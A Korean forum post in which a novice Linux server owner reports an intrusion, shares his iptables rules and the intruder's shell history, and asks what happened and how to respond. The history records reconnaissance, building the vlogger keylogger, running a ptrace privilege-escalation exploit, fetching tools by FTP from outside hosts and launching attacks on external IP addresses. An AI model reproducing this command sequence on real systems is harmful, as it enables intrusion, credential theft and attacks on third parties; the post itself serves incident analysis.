다름이 아니라 몇일전에 리눅스에 이상한 흔적(/etc/passwd)이
있어서 보니까 누군가가 제 컴에 들어와 돌아다니다 간것 같습니다.
컴퓨터를 저 혼자만 사용하기 때문에 다른 유저가 있을 수 없습니다.
어떻게 들어왔는지는 모르지만 제가 모르는 유저가 여럿 있었고
그 후로 메일서버(POP3)가 작동을 안합니다.
완전 초보에다가 책에 의지해 3달만에 겨우 완성했는데 좀 어처구니가 없기도하고
불안하고 화도 납니다. 어디 물어볼만한데도 없고 해서 고수님들의 도움을
이렇게 부탁을 드려봅니다.

여기저기 뒤져보니까 해커가 남긴 bash_history가 있어서 같이 올립니다.
어떤짓을 했는지 불안해서 포멧하자니 3개월간의 고생이 너무 아깝기도하고
대처방법을 모르면 다시 리눅스를 깐다고 해도 무의미인듯 합니다.
거듭 부탁 말씀을 드리면서 질문을 드립니다.

1. 무슨짓을 하고 간건지?
2. 리눅스를 다시 깔아야 하는지 아니면 그냥사용해도 되는지
3. 대비책은 어떤것이 있는지

--컴사양입니다.
--CPU: 펜티엄2 MMX
--메모리: 128M
- 리눅스서버에 웹서버, 메일서버(sendmail), 네임서버, MYSQL, SSH만 사용하고 있습니다.
- 그리고 윈XP가 2대 연결되어 있고 ADSL-lite를 사용하고 있습니다.
- dnip를 이용 유동아이피를 고정아이피처럼 사용하고 있습니다.

iptables내용
==============================================
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:RH-Lokkit-0-50-INPUT - [0:0]

-A INPUT -j RH-Lokkit-0-50-INPUT
-A FORWARD -j RH-Lokkit-0-50-INPUT

-A FORWARD -i eth1 -o ppp0 -j ACCEPT
-A FORWARD -i ppp0 -o eth1 -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 22 --syn -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 25 --syn -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 110 --syn -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 80 --syn -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 443 --syn -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 53 --syn -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p udp -m udp --dport 53 -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p udp -m udp -s 0/0 --sport 67:68 -d 0/0 --dport 67:68 -i eth0 -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p udp -m udp -s 0/0 --sport 67:68 -d 0/0 --dport 67:68 -i eth1 -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 995 --syn -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 143 --syn -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 993 --syn -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 137:139 --syn -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p udp -m udp --dport 137:139 -j ACCEPT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 901 --syn -j ACCEPT

-A RH-Lokkit-0-50-INPUT -i lo -j ACCEPT
#-A RH-Lokkit-0-50-INPUT -i ppp0 -j ACCEPT
-A RH-Lokkit-0-50-INPUT -i eth1 -j ACCEPT

-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 0:1023 --syn -j REJECT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 2049 --syn -j REJECT
-A RH-Lokkit-0-50-INPUT -p udp -m udp --dport 0:1023 -j REJECT
-A RH-Lokkit-0-50-INPUT -p udp -m udp --dport 2049 -j REJECT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 6000:6009 --syn -j REJECT
-A RH-Lokkit-0-50-INPUT -p tcp -m tcp --dport 7100 --syn -j REJECT
=============================================================================


====================================================
.bash_history 내용입니다.
======================================================

-------제가 모르는 사용자 계정의 흔적입니다.----------
passwd
passwd
w
write root pts/0
ls
pwd
ls -la
cat /etc/*release
cat /etc/*version
ps ax
ls -la /usr/X11R6/bin/
w
write root pts/0
ps ax
ps ax -axef | less
ps axf
/sin/ifconfig
/sbin/ifconfig
route
/sbin/route
ls
l s-la
ls -la
cat .screenrc
netstat -tau
fuser -n tcp 65535
ps ax
w
find / -perm 4755
ps ax
/sbin/route
w
ping -c 5 yahoo.com
ls -la /bin/ping
ls -la /usr/sbin/traceroute
which tarceroute
w
/sbin/ifconfig
ps ax
ls -la /bin/ping
hostname -f
netstat -tau
which nmap
nmap -sS localhost
ps ax
pwd
ls -la
nmap localhost
ps ax
w
ps ax
cat /etc/rc.d/rc.local
w
ps ax
ps ax | grep iplog
w
ls -la /bin/su
ls -la /usr/bion/sudo
ls -la /usr/bin/sudo
which squid
strace /bin/squid
less "/usr/local/squid/etc/squid.conf"
ls
cd /
cd /tmp
ls
ls -la
cd $HOME
ls
ls -la
ls -la /home
ps ax
w
cat /proc/cpuinfo
cat /proc/mem
ls -la /proc
ls /proc
cat /proc/meminfo
ps ax
ls -la /proc/16584
/sbin/ifconfig
which netconfig
ls -la /sbin/netconfig
/sbin/neconfig
/sbin/netconfig
w
ps ax
uname -a
tail -n 30 /var/log/messages
ls -la /var/log
telnet localhost 80
telnet localhost 21
ps ax
cat /etc/lilo.conf
less /etc/syslog.conf
cat /etc/inittab
ls -la /etc/ | less
cat /etc/login.defs
less login.defs
less /etc/login.defs
ls /etc
less /etc/logrotate.conf
ls -la /etc/logrotate.
ls -la /etc/logrotate.conf
cd /etc
ls
mail
which mail
ps ax
/sbin/iptables -L
hich iptables
which iptables
locate iptables
/usr/sbin/iptables -vL
nmap 81.196.92.168
/sbin/ifconfig
ps ax
cdd $HOME
ls
cd $HOM
ls
pwd
ls -la
host www.essaydeposit.com
host www.esaydeposit.com
host www.esaydepo.com
host www.essaydepo.com
ls
host linux-addicted.org
uptime
uname -a
w
pwd
ls -la
w
w
ps ax
w
w
ping -c 5 yahoo.com
w
w
sp ax
w
w
w
w
w
w
w
w
w
w
w
exit
ls -la
w
ps ax
kill -9 7947
w
wget http://bellatrix.pcl.ox.ac.uk/~ben/dopewars/dopewars-1.5.8.tar.gz
ls -la
rm -rf maill
tar -zxvf dopewars-1.5.8.tar.gz
cd dopewars-1.5.8
ls
cat INSTALL | less
./configure
make
ls
cd ..
ls
rm -rf dope*
ls -la
wget http://bellatrix.pcl.ox.ac.uk/~ben/dopewars/dopewars-1.5.2-slackware.tar.gz
tar -zxvf dopewars-1.5.2-slackware.tar.gz
ls
ls -la
cd usr
ls
cd bin
ls
./dopewars
cd ..
cd ..
ls
rm -rf dopewars-1.5.2-slackware.tar.gz usr/
ls -la
w
/sbin/lsmod
hostname -f
w
ps ax
ps ax | grep sshd
hostname -f
ls -la
cd /var/log
ls
tail -n 30 messages
tail -n 30 ip.log
ps ax
/sbin/ifconfig | grep inet
ls -la
cd apache
ls
cat access_log
tail -n 30 ap
tail -n 30 access_log
ls
tail -n 30 error_log
cd $HOME
ls
cd /tmp
ls
ls -la
cd $HOm,e
cd $HOme
ls
cat dead.letter
rm -rf dead.letter
ls -la
ps ax
which lsof
lsof | less
lsof | grep psybnc
ls -la /dev/kmem
ps ax
telnet localhost 80
cd /lib/modules/
ls
cd 2.4.18/
cd kernel/
ls
cd drivers/
ls
cd sound/
ls
cd ..
ls
cd $HOME
ls
ls -la /hopme
ls -la /home
cd ../k1/
ls
ls -la
id
cd $HOME
slide
exit
w
ls
ls -la
mkddir -p howtos
mkdir -p howtos
cd howtos
ls
touch linux-rootkit-detection-howto
pico linux-rootkit-detection-howto
ps ax
cat /etc/rc.d/rc.inet | less
cd /etc/rc.d/
ls
cat rc.inet1 | less
cd $HOME
ls
cd howtos
ls
ls
pico linux-rootkit-detection-howto
id
exit
ps ax
w
write root pts/1
ls -la
write root pts/1
cd howtos/
ls
rm -rf *.save
pico linux-rootkit-detection-howto
w
ps ax
man sarg
locate sarg
cd /usr/local/src
ls
cd sarg
ls
cd sarg-1.1.1/
ls
less README
cdc $HOME
ls
cd $HOME
ps ax
w
ps ax
ls -la /usr/src/linux
lsmod
/sbin/lsmod
w
write root pts/1
ps ax
w
ps ax
ls -la
which mail
ps ax
lynx www.phrack.org
ls
tar -zxvf phrack59.tar.gz
cd phrack59
ls
pico p59-0x12.txt
ls
mv p59-0x12.txt extract.c
gcc extract.c -o extract
pico extract.c
gcc extract.c -o extract
./extract *
ls
ls -la vlogger/
mv vlogger/ ../
cd ..
ls
rm -rf phrack59*
ls -la
cd vlogger/
ls
make
ls -la
rm -rf vlogger.
ls
rm -rf vlogger.o
pico vlogger.c
cd ..
ls
su - Zsmopcmb
su -
netstat -tau
su -
ps ax
w
pwd
/sbin/lsmod
ftp www.150m.com
ps ax
kill -9 19447
w
ftp www.150m.com
ftp slacker.go.ro
ls
gcc ptrace.c -o x
less ptrace.c
rm -rf ptrace.c
./x
ls
ls -la


=============================
root 계정의 흔적입니다.
==============================
s/x
id
cd ..
locate httpd.conf
pico /etc/httpd/conf/httpd.conf
locate httpd.conf
pico /usr/share/doc/mod_perl-1.26/eg/httpd.conf.pl
killall -HUP httpd
telnet 0 443
ftp 443.netfirms.com
ftp 209.171.43.28
tar zxvf b.tgz ; rm -rf b.tgz
cd apache/
./x 207.34.141.42
./x 207 34 141 42
./x 161 58 185 168
./a 202.157.182.27
./a 202.157.182.27
./a 202.157.182.27 -v
./a 202.157.182.27 -v
./a 202.157.182.27 -v
./x 24 137 3 116
./x 63 86 58 178
cd s
./x
s/x
cd /tmp
ls
s/x
exit